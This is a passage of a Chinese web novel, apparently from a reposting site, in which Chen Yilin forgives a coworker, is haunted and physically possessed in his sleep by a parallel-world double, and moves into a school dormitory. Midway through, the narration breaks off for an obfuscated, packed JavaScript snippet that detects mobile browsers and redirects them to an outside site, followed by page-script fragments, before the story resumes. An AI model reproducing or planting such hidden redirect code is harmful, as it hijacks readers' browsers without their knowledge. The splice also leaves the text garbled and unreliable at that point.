陈亦临开心地坐了下来,他天天吃工作餐都是汉堡炸鸡,要么和高博乐去一楼点两个青菜,上次吃这种家常菜还是林晓丽回来的时候,可惜也没多吃两口,不过病房里还有其他人,他吃得很克制,学着“陈亦临”的样子,啃骨头都啃得斯斯文文。 “哟,老李,你儿子来看你啦?”同病房的老头检查回来,笑着问李建民。 “哈哈哈,对,我儿子。”李建民乐得不行,“长得像我吧?” “一看就是亲生的。”老头儿很肯定。 “哎呀爸,你快躺好吧,医生让你多休息少聊天。”旁边是一对中年男女,看样子应该是老头的儿女,还有个老太太拎着饭盒进来,病房里瞬间就热闹起来。 “你住院这么久,还是第一次见有人来看你。”老头不听,还一个劲地说,“上高中了吧?在哪儿上的?是不是高三了没空来看你爸啊?你妈怎么也不来啊?” 陈亦临被问住,转头看向李建民,对方憋着笑摇头示意他不用管,旁边的中年女子有些生气:“爸,你打听人家的户口本呢,赶紧擦擦手吃饭。” 老头这才撇撇嘴,哎哟哎哟地躺回了病床上,几个家属开始伺候他吃饭。 吃完饭,陈亦临去水房将保温桶和碗筷洗干净收拾好,准备和李建民打声招呼离开,结果一进病房门就看见了郑恒,他瞬间警惕快步走了过去。 郑恒今天难得穿了身正常衣服,见他过来,躲避似的低下了头,陈亦临正满心疑惑,就看见了一个身材矮小的老太太。老太太看起来七十多岁了,脸上满是皱纹,眼睛浑浊而细小,花白的头发被围巾裹了一半,她穿着一身暗紫色的花袄,青色的裤子,黑色的布鞋上沾满了泥巴,像是刚从乡下赶来。 “李经理,我是郑恒的奶奶,这孩子犯了错,我来给您赔个不是。”老太太佝偻着背,拘谨地从兜里掏出了个塑料袋,她打开里面褪了色的手帕,露出了一沓卷边的钞票,“他从小就没了爹娘,我把他拉扯大的,是我没把他教好,他犯了错该罚,我们认错,您看看这些够不够,不够的话我们再想办法。” “不用,这事儿已经处理完了。”李建民自然不会收她的钱。 “这、这——”老太太像是急了,她使劲拽了一把旁边的郑恒,“还不快道歉!跪下!” “奶奶……”郑恒红了眼眶,膝盖一弯就要跪下。 “哎哎哎使不得使不得!”李建民赶紧去拦,奈何他还挂着水,“小陈快扶起来!” 陈亦临眼疾手快一把将郑恒给薅了起来,郑恒羞愧地低着头不敢看他,陈亦临松开手,保镖似的站在了旁边。 老太太见状又是连连道歉,哭诉着自己一个人养大孙子多么不容易,责骂着郑恒不好好学习到处惹事,李建民又是宽慰又是劝导:“孩子还小,知错就改还是好孩子,再说也没造成严重的后果,您不要太伤心,这钱啊您拿回去,我不能收。” 好说歹说,李建民只留下了他们买来的一袋子香蕉。 “小陈,替我去送送大娘。”李建民说。 陈亦临只好去送老太太和郑恒,到了电梯口,郑恒忽然停下:“奶奶,你先下去等我,我说句话。” 老太太抹着眼泪进了电梯。 陈亦临面色不善地盯着郑恒:“你要说什么?” 虽然确定了李建民晕倒和他没关系,但陈亦临对他依旧没有好脸色。 “对不起,我之前做的那些事……是我鬼迷心窍,我就是嫉妒你一来就能挣这么多钱,感觉你抢了我的活儿,但其实就算没有你,李经理也不会用我。”郑恒搓了搓裤缝,不敢看他,“谢谢你和李经理没有追究我的责任。” “和我没关系,是李经理和闻主任不追究。”陈亦临臭着脸道,“以后我照样见你一次打你一次。” 郑恒被他噎了一下,却见他掏出了几张钞票递了过来,登时一愣。 “这是李经理让我给你的。”虽然不是自己的钱,但陈亦临给得也很不情愿,“他让你好好照顾奶奶,赶紧再去找个工作。” 郑恒道:“不行,这个钱我不能要。” “给你你就拿着,哪来的这么多废话!”陈亦临暴躁地将钱塞给他,“再来烦李经理我揍死你信不信?” 郑恒捏着钱有些无措,他道:“替我谢谢李经理。” 陈亦临转身就要走,却又被他喊住:“你在食堂干活要小心吴时,给你们倒废油其实是他给我们出的主意,他还到处说你偷东西,欠他很多钱,说你爸赌博你妈出轨什么的……他不是个好东西,你小心一点。” 陈亦临说:“知道了。” 郑恒这才进了电梯,在他进电梯的一瞬,陈亦临似乎看见他头顶红紫相间的絮状物在飞快消散,然而再看却什么都看不见了。 他拧着眉回到了病房。 李建民乐呵呵地递给了他一根香蕉。 陈亦临剥开皮啃了一大口,还是没忍住问:“李叔,你放过他也就算了,为什么还要给他钱?” “是不是觉得我烂好心了?”李建民笑道。 陈亦临摇了摇头。 “郑恒这孩子本性不坏,但容易被挑唆,说到底也是我没和他说清楚,是人就会生出嫉妒心,但不应该被嫉妒冲昏了头脑。”李建民道,“我给他钱是看老太太不容易,也看他改过自新的份上拉他一把,要是这些钱能让他走上正道,也值了。” 陈亦临闷声道:“李叔,你真是个好人。” 李建民笑呵呵道:“谁都有困难的时候,能顺手帮就帮了。小陈啊,人活这一辈子,最后也就是活个良心。” 陈亦临回去的路上还在想李建民说的话,是人就会生出嫉妒心,他也有嫉妒心,他嫉妒“陈亦临”有好的爸爸妈妈,嫉妒“陈亦临”能上学还是年级第一,嫉妒“陈亦临”吃得比他好、穿得比他好,更嫉妒“陈亦临”永远不用为钱的事情操心……如果他有机会能成为“陈亦临”,一定会过得很幸福。 他被自己心底涌上来的想法吓了一跳。 陈亦临抿紧了唇,转头看着车窗玻璃倒映出来的自己,就像电影里的那个男主,如果有机会拥有更好的人生,他是不是也会在关键时候抛弃“陈亦临”?他嫉妒“陈亦临”远比郑恒嫉妒他更甚,也许他也只是另一个郑恒。 回食堂工作的时候,他依旧心不在焉。 尽管这些想法让他有些沮丧,但他无力辩驳,他喜欢和“陈亦临”在一起玩,除了好奇和刺激,还有无时无刻不存在的羡慕和嫉妒:大家都是陈亦临,凭什么他就能过得比我好? “嘶。”他猛地缩回了手,但手背上还是被热油燎起了个水泡。 “没事吧?”高博乐问。 “快用凉水冲一下。”宋志学道。 陈亦临龇牙咧嘴地去冲水,好在最忙的时候已经过去了,高博乐给了他一管治烫伤的药膏,他抹上后还了回去,进了休息间吃晚饭。 他咬了口汉堡,去包里翻买的小咸菜,忽然一阵熟悉的眩晕袭来,再抬头,就看见了“陈亦临”。 原本郁闷的情绪瞬间烟消云散,他把汉堡咬在嘴里,走到“陈亦临”面前撸起袖子,给他看自己手上被燎出的水泡。 “陈亦临”却直接穿过了他,神色有些冷淡:“一定要去吗?” 陈亦临这才发现陈顺和林晓丽也在,两个人穿着西装和裙子盛装打扮,庭院里,司机正在往后备箱里放各式各样的礼品。 “当然要去呀,这可是爸爸公司的合作伙伴,这次晚宴特意说明要携家人一起。”林晓丽笑着给他整理了一下衣领,“妈妈知道你不喜欢这些场合,我们很快就回来好不好?” “临临,这次宴会对爸爸来说很重要,吴总家的儿子今年刚从国外回来,好好和他交个朋友,对以后两家的接触都有帮助。”陈顺拍了拍他的肩膀,“这个月爸爸给你发三倍的零花钱。” “陈亦临”兴致缺缺,但还是点了头:“好吧。” 手机震动,他划开屏幕,陈亦临好奇地凑上去,就看见了短信里的数字,瞬间睁大了眼睛:“十万!” “陈亦临”眼底却没有半点笑意。 陈亦临恨不得拽着他的领子让他清醒一下,只是去吃顿好饭就能有十万块,他做梦都不敢梦这么大的。 “好啦,临临一直都很乖的,这次趁机多交个朋友也好。”林晓丽拎着包坐进了车里,“临临,快进来。” “陈亦临”按灭了屏幕,转身走向了车子。 “哎?”陈亦临追在后面喊他,“你看不见我吗?你们要去哪里?我能一块儿去吗?” “陈亦临”却听不见他说话,坐进车里就低着头玩手机,陈亦临又喊了他好几声,终于确定他看不见自己,十分不爽地啧了一声。 车门关上,车子扬长而去,但眼前的景象却没有消失。 追上车子显然不可能,陈亦临在院子里停留了片刻,转身进了别墅,没有“陈亦临”在身边,他就像一个陌生的客人,不好意思随便进别人的房间,在客厅里转了一圈后,还是进了“陈亦临”的房间里。 房间和昨天的陈设大差不差,床铺得极为整洁,大耳朵的睡衣被叠得板板正正,陈亦 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“你怎么回来了?”陈亦临惊魂未定,大概还有点被抓包的心虚。 “你知道我去哪里?”“陈亦临”愣了愣,旋即反应过来,“难怪刚才在院子里我总觉得有什么东西在看我。” 陈亦临皱眉:“我喊你喊了好几声,你都不搭理我。” “我看不见。”“陈亦临”无奈道,“你不画那个符过来的话,我没办法看见你。” 陈亦临不解:“那为什么现在能看到了?” “因为我的房间里设置了阵法,你一进来我就能知道。”“陈亦临”神秘道。 “……”陈亦临只当他又在胡说八道,“你这样回来行吗?” “没事,我一个小孩儿无关紧要。”“陈亦临”脱掉外套坐在了沙发上,朝他张开胳膊,“让我抱抱吧,临临。” 他很明显不开心,陈亦临心道反正抱不到,于是很干脆地站到了他面前,大方道:“抱吧。” “陈亦临”笑意渐深,将人抱进了怀里。 那感觉怪异极了,原本只是温热的气息仿佛凝聚成了某种液态的实体,有了些许阻力,就像被温热的水流穿过,“陈亦临”将头埋在他肚子上深吸了一口气,撒娇似的蹭了一下。 “操!”加深的触感吓了陈亦临一跳,猛地蹦开。 “怎么了?”“陈亦临”靠在沙发上,笑吟吟地看着他。 “我能感觉到你了!”陈亦临神色震惊极了,伸手给他比划,“就像——就像很软的果冻一样,不是,像水一样,虽然能穿过去但是能感觉到了!” “是吗?”“陈亦临”也很惊讶的样子,“我怎么没感觉到?” “真的!”陈亦临鼓起勇气靠近他,伸手摸向他的脸,就像摸到了温热而潮湿的水流,虽然依旧穿过,动作却迟滞了许多,“能感觉到吗?” “唔。”“陈亦临”歪头用脸蹭了蹭他的手指,“没什么感觉,再让我抱抱。” “抱个屁。”陈亦临心底涌上了巨大的不安,“我先回去了。” 他说完就要画符咒,下一秒手掌却被人捉住,“陈亦临”凑上来笑着问:“那试试重合在一起的感觉?” “再说吧。”陈亦临“挣”开他,飞快地画完了符咒,眩晕过后又回到了休息间里,心脏在剧烈地跳动着。 “再说什么?”“陈亦临”紧随他而至,抬手弹了一下他的额头,语气有些无奈,“你是不是忘了符咒都是我教给你的,你能跑到哪里?” 额头传来的触感微弱却清晰,陈亦临猛地退后一步。 “小陈?”高博乐的声音从门外传来。 “啊,没事儿。”陈亦临扶起被撞倒的塑料桶,抓起墙上挂着的书包冲了出去,“乐哥,我出去一趟!” “诶,慢点啊你。”高博乐在后边喊。 “陈亦临”形影不离跟在他身后:“临临,能碰到难道不是好事吗?我做梦都想碰到你,你难道不想碰到我?” “闭嘴。”陈亦临暂时不想和他说话。 他之前确实很想碰到“陈亦临”,但这种想法的前提是他知道这是一件根本不可能实现的事情——幻想这种这东西之所以美好,是因为足够缥缈不可实现。 陈亦临跑进了离学校最近的一家药店。 药店老板看他跑得气喘吁吁,以为他有什么紧急用药:“拿什么?” “陈亦临”贴在他背后熟练地搂住了他的腰,将脑袋搁在了他的肩膀上喘气:“跑这么急累死我了,好端端地来这里干什么?哪里不舒服?” 那诡异的感觉仿佛背了一个又滑又软又潮湿的背后灵,陈亦临后背肌肉紧绷,他看着药柜镜子里倒映出来的“陈亦临”,紧张地咽了咽唾沫:“老板,来瓶安眠药。” 镜子里,从背后抱着他的“陈亦临”缓缓沉下了目光,似笑非笑地盯着镜子里的陈亦临:“临临?” 16.告别 “这个不好开。”老板观察着他的神色,有些为难,“最好是去医院拿,睡不着吗?” 陈亦临迟疑地要点头,一只温热而“柔软”的手掌就掐在了他的脖子上,镜子里“陈亦临”目光阴郁,声音却可怜兮兮的:“你不想见我了吗?” 陈亦临被他摸得头皮发麻,喉结艰难地滚动,“陈亦临”却像发现了什么好玩的东西,微微用力按了一下,贴在他耳朵边上惊讶而委屈:“陈亦临,你是在害怕吗?” 陈亦临简直要疯了,他强忍着一拳砸过去的冲动,对为难的药店老板道:“那先算了,有其他能让我睡着的吗?” 老板给了他一瓶褪黑素:“喏,保健品,打完折一百二十八,买一瓶送一瓶。” “能只买一瓶吗?”陈亦临说,“或者零卖我两粒?” 老板:“……” 陈亦临还想再和他讲讲价,趴在身上的重量忽然一轻,他愣了一下,转头看向“陈亦临”。 “陈亦临”淡淡地看了他一眼,转身“走”出了药店。 陈亦临一时没反应过来,见他蹲在了玻璃门外不动了,纠结了片刻,对老板道:“我再想想。” 他走出了药店,看着蹲在门口的人,保持着半米的安全距离,欲言又止,不知道是该安慰还是该跑。 “陈亦临”抱着膝盖抬头看向他,扯了扯嘴角:“抱歉啊临临,是我不好,吓到你了。” 他突然这样,陈亦临反而有些愧疚起来:“我反应是不是有点太大了?” 但那诡异的触感实在挑战他的神经。 “不怪你。”“陈亦临”垂下头,沉默了几秒,“如果你实在害怕,我以后就不来打扰你了,我不想让你为难。” 陈亦临的愧疚更甚,他张了张嘴,有些招架不住对方这幅可怜的样子,毕竟他们之前还是“朋友”——但话又说回来,幻觉消失他的病就好了,还不用花钱,实在划算。 “那你以后在另一个世界也要好好的。”陈亦临心道,好在“陈亦临”很通情达理。 “陈亦临”被噎住,缓缓眯起了眼睛,他从喉咙里发出了一个黏糊不清的音节:“……嗯?” 陈亦临壮着胆子伸出手,轻轻地摸了摸他的头发:“永别了。” “陈亦临”笑了一声,只是那声笑听起来有点不爽,不等陈亦临细想,手腕就被温热潮湿的触感抓住,身上的寒毛霎时间竖起来,他本能地想挣开,却对上了“陈亦临”微微泛红的眼睛,僵在了原地。 “别拿安眠药了,拿管烫伤药吧,别留下伤疤。”“陈亦临”轻轻摸了摸他手背上的水泡,“是不是很疼?” 温热而细微的力道抚摸过手背,“陈亦临”低头给他吹了吹,陈亦临说不清心里是什么滋味,用上了点力气抽回了手:“小伤,你快走吧。” “陈亦临”站起身来,眼睛直勾勾地盯着他,下压的嘴角和垂下的眼睛让他看起来有点沮丧,他没有再靠近陈亦临,只是低声问:“那离开前能再抱一下吗?” 陈亦临鼻子有些发酸,但拒绝地十分干脆:“算了吧,挺瘆人的。” “……”“陈亦临”深深地看了他一眼,抬手画符,下一秒就消失在了原地。 陈亦临瞬间如释重负,使劲揉了揉发酸的鼻子,推开门冲里面的人喊道:“老板,药不用了,谢谢啊。” 虽然他病得更严重了,但好在他的幻觉乖巧好说话,替他省下了一大笔钱。 他步伐轻松地回到了学校。 陈亦临晚上都是去图书馆学习,十点准时回食堂,然后和“陈亦临”玩到半夜再睡觉,今天他早早回到了休息间,警惕又戒备地等待着,一直等到晚上十一点都没有等到“陈亦临”出现,他才勉强放下了心。 太好了,幻觉真的消失了。 陈亦临刻意忽略了心底涌上来的那点失落,将羽绒服裹在身上闭上了眼睛,这段时间天天熬夜,他终于可以恢复正常的作息了。 很快他就陷入了深眠。 电子表的时间终于显示到了00:00。 休息间原本冰冷的空气带上了几分暖意,陈亦临蜷缩起来的身体逐渐舒展开来,梦里一只小狗扑向了他,毛茸茸的尾巴不停地扫着他的脸和脖子,弄得他很痒,他一边躲一边笑,但热烘烘的小狗锲而不舍地黏在他身上,舔得他脸上湿漉漉的,搞得他十分无奈。 “别闹了。”他伸手拍了拍小狗的脑袋。 坐在床边的人垂着眼睛,盯着陈亦临穿过自己的手掌的那只手,轻轻笑了一声,伸手拨弄了一下他有些凌乱的头发。 原本支棱着的头发似乎被什么东西轻轻触碰,在空气中自己往下压了压,又倔强地弹了起来。 “陈亦临”啧了一声,伸手戳在了他的脸上,然后满意地看着“陈亦临”的脸颊肉轻轻凹陷了一下,又快速地回弹,穿过指腹时,他能清晰地感受到陈亦临血肉的温度和柔软。 大概是觉得痒,陈亦临皱了皱眉,翻了身背对着他。 “陈亦临”沉默了几秒,躺在了他身后,伸出胳膊将他虚虚地搂进了怀里,直到胸膛和他的后背紧密贴合,他低头用鼻梁轻轻蹭了蹭了陈亦临的后颈,轻声道:“陈亦临。” 陈亦临在梦里隐约听见有人在喊自己,整个身体都变得沉甸甸的,他似乎被人翻过了身仰面躺在床板上,又似乎被沉在了温暖的水池深处,但不管他怎么努力都浮不出水面,他被温热的水流包裹住全身,窒息感如影随形。 如果有人在这里,就能看见陈亦临躺在床板上眼睫颤动,而另一个半透明的“陈亦临”与他完全重合在一起,“陈亦临”眼底满是笑意,尝试着抬起手,睡梦中的陈亦临的手掌随着他的动作轻轻移动了些许,他歪了歪头,陈亦临也被他带着歪了一下脑袋,仿佛他能控制陈亦临的动作,然而他似乎不满足于这种细微的动作,转身趴在陈亦临的身体里,伸手掐住了陈亦临的脖子。 陈亦临的呼吸变得有些急促,不舒服地拧起了眉,难受地哼了一声。 “陈亦临”似乎很满意这种惩罚,松开手低下了头,用脸轻轻蹭了蹭陈亦临的脸颊,又在上面恶劣地掐了一下,才伸手将人抱在了怀里,满意地叹息了一声。 “陈亦临,你跑不掉的。” …… 陈亦临被闹钟叫醒时,伸手捂住了右边的腮帮子:“我靠。” 脸疼。 很快他就意识到不止脸疼,脖子也隐隐作痛,胳膊和腿又沉又僵,全身都有些乏力酸疼,尤其手腕处格外明显,他抱着羽绒服坐在门板上有些懵。 难道是因为昨天去药店跑得飞快? 能累成这样? 他依稀记得昨天晚上做了很多乱七八糟的梦,不是被狗咬就是被狗追进水池里差点淹死,后面有点像鬼压床,有点模糊地意识却死活睁不开眼睛…… “鬼压床就是阳气太弱了,你没事儿多晒晒太阳吧。”高博乐听他说起这事,热心地提出了建议。 “我阳气弱?”陈亦临有些不可置信,“我揍俩郑恒都没问题。” “你看看你脸都白成什么样了。”高博乐摇头,“这玩意儿和八字有关系,八字弱就容易招这些不干净的东西。” “封建迷信。”陈亦临嗤之以鼻。 高博乐似乎对这些很感兴趣,神神秘秘道:“其实我一直觉得咱们这个食堂挺阴的,尤其是到了晚上,每次晚走我觉得瘆得慌。” 陈亦临:“……” 他天天晚上睡在休息间也没觉得怎么样,但人就怕心理暗示,中午给李建民送完饭回来,见外面太阳正好,陈亦临搬了个凳子出来,坐在食堂门口晒起了太阳。 热乎乎的阳光晒得人昏昏欲睡,他将手揣进袖子里,眯起眼睛打了个长长的哈欠。 “晒太阳呢?”一道声音从他头顶响起。 陈亦临猛地睁开眼,就看见了闻经纶拎着打包的饭菜站在面前,赶紧起身:“闻主任好。” “你好。”闻经纶笑了笑,“吃饭没?” “吃了。”陈亦临点头,“您忙到现在才吃啊?” “有点工作耽误了。”闻经纶说,“正好我要找你,之前帮你打听的住宿问题有着落了。” 陈亦临惊喜道:“真的?” 闻经纶带他来到了一栋男生宿舍楼,宿管是个五十多岁的阿姨,她个子不高,有些胖,一头红棕色的卷发,她热情地带着闻经纶和陈亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627318|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临去了宿舍二楼,在走廊尽头的一扇宿舍门前停了下来。 她拿出了一串钥匙,低头翻找着上面的编号:“这间宿舍因为之前改造暖气管道凸出来了一块,按理说都是六人间,但三张上下床没法安,而且对面正好冲着厕所,学生们都不太乐意住,干脆就用来放杂物了。” “找到了。”她开了锁推门进去,“主任你一说我就收拾了收拾,其实挺好的。” 陈亦临跟在闻经纶身后进去,房间不算大,靠着墙的左边放了两张铁质的上下床,床上摞着十几个废弃的凳子和桌板,右边西南角凸出了一大块管道,占了小半面墙,在管道右边贴墙放了张课桌和板凳,桌子上还有个小台灯,南面是个小阳台,能从窗户里看见两栋宿舍楼之间种的栾树,现在的季节很多叶子都变红了,远远看起来像一簇簇绽开的花丛。 房间被打扫得很干净,地板和桌子都很整洁,靠门口的下铺也被收拾了出来,阿姨说:“拿套被褥来就能住,要是不方便买的话,我这里还有不少学生不要的,你要是不嫌弃我给你拿来,洗洗就能用。” 这实在是意外之喜,陈亦临感激地看向她:“谢谢阿姨。” “行,就是对面有厕所,你平时关着门多敞开窗户通通风。”闻经纶看向陈亦临,“我就在后面的教师宿舍住,平时周二周末会来这里值班,有什么事情找我就行。” 陈亦临说:“谢谢闻主任,这里需要多少住宿费?” 闻经纶失笑:“不用。” “本来这宿舍也是废弃的,你在这里住着就行。”阿姨笑道,“闻主任一句话的事儿,哪用得着你交钱。” 陈亦临有些过意不去,简直不知道该怎么感谢他好:“闻主任,要是有什么用得着我的地方您说话,只要我能帮上忙,一定做到。” “哎哟嘴甜的,难怪闻主任这么帮你。”阿姨笑道,“这孩子。” 陈亦临冲她也笑了笑。 —— 当天下午陈亦临就搬了进来,他的东西很少,从家里拿来的牙刷牙杯和两条毛巾,两件卫衣和两条裤子,还有一个书包,阿姨给他送来了被褥,给了他两个脸盆和一个暖瓶,还给了他一张学生卡能自由进出,说是充上钱就能接热水,还可以去公共浴室洗澡。 陈亦临没想到这么方便。 阿姨走后,他吭哧吭哧刷了半天,接了热水烫了烫消毒,又拿着抹布将阳台上的柜子擦了三遍,把衣服叠好放进去,又将暖瓶和脸盆在阳台摆好,把书包挂在课桌旁,书也整齐地摞在桌面上。 做完这些,他躺在柔软的被褥里,看着明亮的宿舍,感觉像在做梦。 他竟然免费住进了学生宿舍。 给钱闻主任和阿姨肯定不会要,不如明天买些礼物送给他们,不过要买点什么呢……他迷迷糊糊地想着,眼皮渐渐发沉彻底睡了过去。 又是那条狗。 梦里的狗似乎变大的了一些,热烘烘地往他身上挤,毛茸茸的大尾巴缠着他的腰,湿漉漉的鼻子一个劲地往他脖子上蹭,起先他还挣扎着想推开,奈何这只大狗热情过了头,非要紧紧黏着他。 陈亦临无可奈何,认命地将大狗抱进怀里,将脑袋埋在它的胸脯上使劲蹭了蹭。 “呵。”大狗轻轻笑了一声。 这笑声有点熟悉,他正要抬头看清楚,一只狗爪子就按在了他的后脑勺上,沉沉地在他耳朵边喘着气,他揉了揉发痒的耳朵,狗尾巴又像钻进了他的身体里,拽着他沉进了温热的水流里。 那温热的水流像某种半凝固的胶,沉甸甸地压着他的四肢和躯干,又像是有某种生命力,乐此不疲地“带”着他动动手动动脚,甚至能积蓄起力气翻个身,一晚上给他累得够呛。 天蒙蒙亮时,陈亦临迷迷糊糊睁开眼,又被一只温热的手掌轻轻合上。 “临临,新家还不错。” 陈亦临依稀听见有人说话,猛地睁开了眼睛,旋即身体就传来了沉重的疲惫和酸软感。 卧槽,好累。 他坐起来,按住后颈使劲拧了拧脖子,却听见了啪嗒一声轻响,陈亦临低头看去,缓缓皱起了眉。 一管崭新的烫伤膏正安静地躺在地板上。 17.抚摸 陈亦临捡起了那管药膏。 绿色的软皮,上面写着【米旗酚烫伤软膏】的字样,旁边画着个黄色的十字,底下是串拼音字母,反过来的一面印着功能主治、规格、用法用量等常规的字样。 高博乐借给他的烫伤膏是个黄皮儿的,而且用了大半管,这个不可能是收拾东西顺进来的,而且他也很确定自己下午打扫房间的时候也没见过这药膏——余光瞥到最下面一行小字,陈亦临目光一定。 【生产地址:淮微省云水市经济技术开发区】 什么? 陈亦临使劲揉了揉眼睛,确定那行小字写的是【淮微省云水市】,而非他熟知的现实世界里的省份,脑子里瞬间炸开一道雷。 操,他现在不止幻听幻视幻触,连常识都被扭曲了!? 总不能是“陈亦临”从荒市千里迢迢穿越时空专门给他带了一管烫伤膏! 早上档口开张时,高博乐有些担忧地看着他:“小陈,你没事儿吧?” “啊?”陈亦临吸了吸鼻子,将口罩往上拽了拽。 “你这眼底发青,脸比鸡排上裹的面包糠还白。”高博乐指了指,“别说,看起来真跟被鬼压了一样。” 宋志学一边包汉堡一边关切地问:“小陈,是不是去医院送饭太累了?” “宋叔,我不累。”陈亦临自从知道他和李建民差不多年纪以后,就慢慢改口喊叔了,实在是宋志学长得显小,高博乐又长得着急,乍一看和同龄人没什么区别。 “我就是昨晚搬进宿舍太兴奋了。”他随口扯了个谎,怕宋志学不好意思再让自己送饭。 “那就好。”宋志学笑了笑,“早上吃汉堡的学生少,累的话你就和小高去休息。” 虽然他这样说,但是陈亦临和高博乐都没动,三个人配合得十分默契。 去一楼吃早饭时,陈亦临拨开两人中间的咸菜碟子,将那管绿皮药膏放在了桌子上,他观察着高博乐的神色,试探道:“乐哥,你能看见这个药膏吗?” “嘶。”高博乐一脸严肃地看着他,“不然呢?” 陈亦临舔走了嘴角的芝麻粒,指着那管药膏道:“真能看见?” “我不仅能看见,我还能拿起来呢。”高博乐拿起药膏仔细端详,“米旗酚,没听说过这牌子啊,你从哪儿买的?” 陈亦临的心直接提到了嗓子眼上,他将药膏一翻,指着最下边儿那行字:“念。” 高博乐被他冷酷的语气吓了一跳,眯起眼睛凑近:“生产地址——淮微省云水市经济技术开发区?靠,淮微是哪个省,你不会买到假货了吧?” 陈亦临的心脏砰砰直跳,拿着药膏的手控制不住地颤抖,他极力克制着声音:“你确定是淮微省?” “我虽然学习不好,但字儿还是能认全的。”高博乐莫名其妙,“你从哪儿买的药膏,别瞎涂啊。” 陈亦临问他:“乐哥,我不可能找人把这地址印在上面吧?” 高博乐被他逗笑:“操,你要有这本事还能在这和我吃馒头就咸菜?” 滚烫的血液疯狂地冲刷过大脑,剧烈跳动的心脏几乎要蹦出嗓子,陈亦临甚至想蹦起来吼上一嗓子,他将那管药膏紧紧攥在了手里。 ……竟然是真的。 药膏是真实存在的,淮微省和荒市是真实存在的,那么……“陈亦临”也是存在的。 不是他精神失常幻想出来的人,不是他中邪招惹的鬼怪,真的有“陈亦临”这个人,在另一个世界存在着,和他长得一模一样。 真的有另一个陈亦临。 “小陈,你没事吧?”高博乐见他浑身都在抖,吓得站了起来。 肾上腺素疯狂地分泌,陈亦临用力地攥着那管能证明“陈亦临”存在的药膏,冲高博乐幽幽开口:“乐哥,你相信平行世界的存在吗?” 高博乐:“啊?” “操。”陈亦临抬手狠狠抹了一把脸,近乎脱力般靠在了座椅上,喃喃地重复,“……操。” 然而巨大的兴奋和刺激感过后,随之而来的便是汹涌的恐慌。 如果“陈亦临”真的存在,平行世界真的存在,那为什么他们可以看到对方?会不会要付出相应的代价?那他看到的郑恒身上的絮状物也是真实存在的?一开始他们只能感觉到气息,到现在变成液态触感,是不是有一天他们能完全出现在对方的世界里?那他岂不是可以真的取代“陈亦临”? 接二连三的疑问要将他彻底湮没,食堂餐厅里喧嚣的人声如同潮水般褪去,周围一片寂静,他只能听见自己急促的喘息声,只能感受到那管药膏尾端扎在掌心的钝痛,前十七年构筑起的世界观和常识正在以一个不可思议的速度坍塌,又被和“陈亦临”相处时的细节填补飞速重构。 但是这怎么可能呢? “陈亦临”怎么会是真实存在的呢? 陈亦临百思不得其解,自己贫瘠的科学知识无法解释这种事,他在“这太扯淡了肯定全是假的”和“这毫无疑问是真的”两种想法之间左右摇摆,无法站稳。 他整个人仿佛被劈成了两半,一半湮没在突如其来的喜悦和刺激里,另一半浸泡在巨大的恐慌和无措中,他甚至开始怀疑自己,开始怀疑整个世界的真实性——这太荒诞了。 “小陈你别吓唬我啊,小陈,陈亦临!”高博乐在他耳朵边吼了一嗓子。 陈亦临恍若未闻,眼睛里满是红血丝,他缓缓低下僵硬的脖颈,看着手里那管烫伤膏,将白色的盖子拧开,挤出了药膏。 半透明的胶状膏体黏在手背的皮肤上,被他用指腹慢慢地涂开,就像他最后触碰到“陈亦临”的皮肤一样。 酸疼的眼眶让他使劲眨了眨眼睛,然后自顾自地笑了起来:“操……陈亦临。” 高博乐以为他疯了,跑上二楼把宋志学拽了下来。 宋志学炸鸡排的漏网都没放,举着就跑到了他跟前:“陈亦临,陈亦临!?” 陈亦临猛地回神,吓得直接从椅子上蹦了起来:“怎么了!” “我靠,我们还想问问你怎么了。”高博乐抱住他的肩膀使劲晃了晃,“你刚才和中邪了一样,怎么叫怎么拽都不动弹,吓死我们了。” “真中邪了?”宋志学抬手就要给他掐人中。 陈亦临后退了半步躲开,不好意思地挠了挠头:“我真没事儿,可能昨天晚上没睡好,反应有点儿迟钝。” 高博乐和宋志学面面相觑。 陈亦临将那管药膏往兜里一揣,端起餐盘放到了回收餐车里:“走吧,上楼干活。” 就算平行世界真的存在,他也照样得工作赚钱,不知道两个世界的货币是不是一样的,如果一样的话,能让“陈亦临”给他送点钱吗? 他忽然想起来“陈亦临”已经走了。 不过确定自己没病实在是太好了,虽然世界观受到了摧毁,但是他的钱包没有被摧毁。 他将汉堡胚从烤箱里端出来,问高博乐:“乐哥,如果平行世界真的存在,你会想干什么?” 高博乐想了想说:“那我肯定先看看另一个世界的我在干什么,混得怎么样。” “如果混得很好呢?”陈亦临说。 “唔,大概会开心?不过也可能会嫉妒,都是一个人,怎么你小子混得那么好?”高博乐有点不确定,“不过要是真能看见,估计会吓死吧。” 陈亦临赞成地点了点头:“确实挺瘆人的。” “之前网上不是有许多传言,什么误入平行世界后直接消失的,出车祸后失忆性情大变的疑似被夺舍的,这些玩意儿虽然很让人好奇,但对咱们这些普通人来说太危险了,一个搞不好说不定就直接没了。”高博乐平时也爱看点灵异故事,说得很起劲,“兄弟,小心没蓝耗红,直接——咔嚓。” 他抬手在自己脖子上比划了一下。 高博乐说得夸张,但也有道理,陈亦临熟练地组装着汉堡,逐渐冷静了下来,他需要找个时间好好想一想,要不要再去找“陈亦临”。 这两天他睡得很不安稳,被搞得白天也精神萎靡,陈亦临从医院送晚饭回来已经接近七点,外面的天已经彻底黑了下来,趁着现在人少,他去公共浴室洗了个澡。 他头顶搭着条毛巾,换了件宽松的卫衣,下边儿图省事只穿了条运动裤,趿拉着人字拖就回了宿舍,一手端着脸盆一手往裤兜里掏钥匙,忽然觉得有人在背后看自己。 他以为是“陈亦临”,愣了两秒才猛地转过头,却对上了一双陌生的眼睛。 男生个子不高,瘦得像根细竹竿,戴着厚厚的眼镜,身上的灰白格子睡衣看上去像片枯死的叶子,他就这么站在厕所门口,直直地盯着陈亦临。 陈亦临被看得有点发毛,拧起眉问:“你有事儿?” 